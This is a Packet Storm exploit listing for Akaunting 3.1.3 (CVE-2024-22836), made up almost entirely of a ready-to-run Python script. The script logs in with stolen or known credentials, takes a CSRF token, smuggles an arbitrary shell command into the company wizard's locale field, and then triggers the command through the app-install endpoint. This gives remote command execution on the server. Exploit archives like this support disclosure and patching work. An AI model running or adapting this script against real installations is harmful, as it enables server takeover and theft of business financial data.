Lucene search

K
packetstormU32iPACKETSTORM:177517
HistoryMar 11, 2024 - 12:00 a.m.

Akaunting 3.1.3 Remote Command Execution

2024-03-1100:00:00
u32i
packetstormsecurity.com
72
exploit
akaunting
remote command execution
rce
cve-2024-22836
ubuntu
python
request injection
command injection
login
csrf token
authentication
app installation
exit code

7.4 High

AI Score

Confidence

Low

0.006 Low

EPSS

Percentile

77.7%

`# Exploit Title: Akaunting < 3.1.3 - RCE  
# Date: 08/02/2024  
# Exploit Author: [email protected]  
# Vendor Homepage: https://akaunting.com  
# Software Link: https://github.com/akaunting/akaunting  
# Version: <= 3.1.3  
# Tested on: Ubuntu (22.04)  
# CVE : CVE-2024-22836  
  
#!/usr/bin/python3  
  
import sys  
import re  
import requests  
import argparse  
  
def get_company():  
# print("[INF] Retrieving company id...")  
res = requests.get(target, headers=headers, cookies=cookies, allow_redirects=False)  
if res.status_code != 302:  
print("[ERR] No company id was found!")  
sys.exit(3)  
cid = res.headers['Location'].split('/')[-1]  
if cid == "login":  
print("[ERR] Invalid session cookie!")  
sys.exit(7)  
return cid  
  
def get_tokens(url):  
res = requests.get(url, headers=headers, cookies=cookies, allow_redirects=False)  
search_res = re.search(r"\"csrfToken\"\:\".*\"", res.text)  
  
if not search_res:  
print("[ERR] Couldn't get csrf token")  
sys.exit(1)  
  
data = {}  
data['csrf_token'] = search_res.group().split(':')[-1:][0].replace('"', '')  
data['session'] = res.cookies.get('akaunting_session')  
return data  
  
def inject_command(cmd):  
url = f"{target}/{company_id}/wizard/companies"  
tokens = get_tokens(url)  
headers.update({"X-Csrf-Token": tokens['csrf_token']})  
data = {"_token": tokens['csrf_token'], "_method": "POST", "_prefix": "company", "locale": f"en_US && {cmd}"}  
res = requests.post(url, headers=headers, cookies=cookies, json=data, allow_redirects=False)  
if res.status_code == 200:  
res_data = res.json()  
if res_data['error']:  
print("[ERR] Command injection failed!")  
sys.exit(4)  
print("[INF] Command injected!")  
  
  
def trigger_rce(app, version = "1.0.0"):  
print("[INF] Executing the command...")  
url = f"{target}/{company_id}/apps/install"  
data = {"alias": app, "version": version, "path": f"apps/{app}/download"}  
headers.update({"Content-Type":"application/json"})  
res = requests.post(url, headers=headers, cookies=cookies, json=data, allow_redirects=False)  
if res.status_code == 200:  
res_data = res.json()  
if res_data['error']:  
search_res = re.search(r">Exit Code\:.*<", res_data['message'])  
if search_res:  
print("[ERR] Failed to execute the command")  
sys.exit(6)  
print("[ERR] Failed to install the app! no command was executed!")  
sys.exit(5)  
print("[INF] Executed successfully!")  
  
def login(email, password):  
url = f"{target}/auth/login"  
tokens = get_tokens(url)  
  
cookies.update({  
'akaunting_session': tokens['session']  
})  
  
data = {  
"_token": tokens['csrf_token'],  
"_method": "POST",  
"email": email,  
"password": password  
}  
  
req = requests.post(url, headers=headers, cookies=cookies, data=data)  
res = req.json()  
if res['error']:  
print("[ERR] Failed to log in!")  
sys.exit(8)  
  
print("[INF] Logged in")  
cookies.update({'akaunting_session': req.cookies.get('akaunting_session')})  
  
def main():  
inject_command(args.command)  
trigger_rce(args.alias, args.version)  
  
if __name__=='__main__':  
parser = argparse.ArgumentParser()  
parser.add_argument("-u", "--url", help="target url")  
parser.add_argument("--email", help="user login email.")  
parser.add_argument("--password", help="user login password.")  
parser.add_argument("-i", "--id", type=int, help="company id (optional).")  
parser.add_argument("-c", "--command", help="command to execute.")  
parser.add_argument("-a", "--alias", help="app alias, default: paypal-standard", default="paypal-standard")  
parser.add_argument("-av", "--version", help="app version, default: 3.0.2", default="3.0.2")  
  
args = parser.parse_args()  
  
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36"}  
cookies = {}  
target = args.url  
  
try:  
login(args.email, args.password)  
company_id = get_company() if not args.id else args.id  
main()  
except:  
sys.exit(0)  
  
`

7.4 High

AI Score

Confidence

Low

0.006 Low

EPSS

Percentile

77.7%

Related for PACKETSTORM:177517